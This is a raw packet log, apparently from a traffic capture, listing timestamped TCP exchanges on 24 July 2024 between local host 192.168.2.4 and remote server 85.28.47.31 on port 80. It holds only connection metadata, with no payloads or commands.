Jul 24, 2024 02:39:05.538971901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538980007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.538995028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539011002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539011955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539051056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539732933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539757967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539773941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539789915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539799929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539807081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539823055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539836884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539840937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539855003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539866924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539870977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539886951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539895058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539904118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539918900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539926052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539936066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539952040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539967060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539975882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539983034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.539987087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.539998055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540005922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540016890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540066957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540597916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540616035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540631056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540652990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540654898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540671110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540679932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540688038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540704012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540712118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540719986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540735006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540749073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540750980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540766954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.540775061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540786982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.540827990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.629831076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.629952908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.629987955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630021095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630054951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630088091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630105972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630125046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630158901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630167007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630191088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630192995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630227089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630233049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630233049 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630263090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630315065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630342960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630347967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630373955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630386114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630412102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630420923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630430937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630454063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630487919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630492926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630522013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630522966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630551100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630558014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630578041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630592108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630608082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630630970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630656004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630683899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630728006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630759954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630793095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630825996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630866051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630897045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630933046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.630950928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630950928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630950928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630950928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630950928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.630966902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631000996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631037951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631037951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631037951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631062031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631282091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631314993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631345987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631371021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631396055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631405115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631416082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631438017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631467104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631469965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631496906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631504059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631515980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631537914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631555080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631572008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631587029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631603956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631630898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631639957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631645918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631690025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631866932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631900072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631926060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631932974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631957054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631966114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.631974936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.631999969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632030010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632034063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632050991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632066965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632083893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632102966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632117033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632137060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632153988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632169962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632184982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632204056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632216930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632236958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632251024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632282019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632551908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632585049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632618904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632621050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632646084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632652044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632684946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632690907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632711887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632719040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632745028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632752895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632786036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632819891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632853031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632889032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632889986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632889032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632889032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632916927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632920027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.632946014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.632967949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.686113119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.691168070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.869724035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.869776964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.869833946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.869893074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.869894028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.869966030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.870001078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.870053053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871001959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871053934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871068001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871088028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871094942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871125937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871239901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871273994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871292114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871308088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871315956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871341944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871346951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871385098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871390104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871422052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871432066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871455908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871468067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871503115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871570110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871603012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871630907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871646881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871651888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871685982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871701956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871720076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871733904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871752977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871766090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871786118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871798992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871818066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871843100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871853113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871865988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871886969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.871905088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.871936083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872201920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872235060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872265100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872268915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872281075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872303009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872327089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872335911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872347116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872370005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872397900 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872402906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872416973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872437000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872453928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872483015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872749090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872781992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872808933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872813940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872828960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872847080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872873068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872879028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872890949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872911930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872935057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872948885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.872962952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.872982025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873006105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873014927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873034000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873048067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873055935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873081923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873102903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873114109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873127937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873147964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873158932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873179913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873209953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873213053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873229980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873245001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873265028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873287916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873682022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873717070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873744965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873749018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873764992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873781919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873792887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873815060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873831987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873847961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873862982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873882055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873898029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873914957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873941898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873948097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873965025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.873980999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.873995066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874013901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874031067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874047041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874064922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874079943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874094009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874113083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874128103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874145031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874161959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874181032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874191046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874213934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874243021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874264002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874655008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874687910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874713898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874721050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874730110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874752998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874767065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874785900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874809980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874819040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874833107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874852896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874866009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874886990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874905109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874921083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874933958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874953985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.874983072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.874986887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875000000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875020027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875032902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875051975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:05.875066996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:05.875086069 CEST	80	49730	85.28.47.31	192.168.2.4
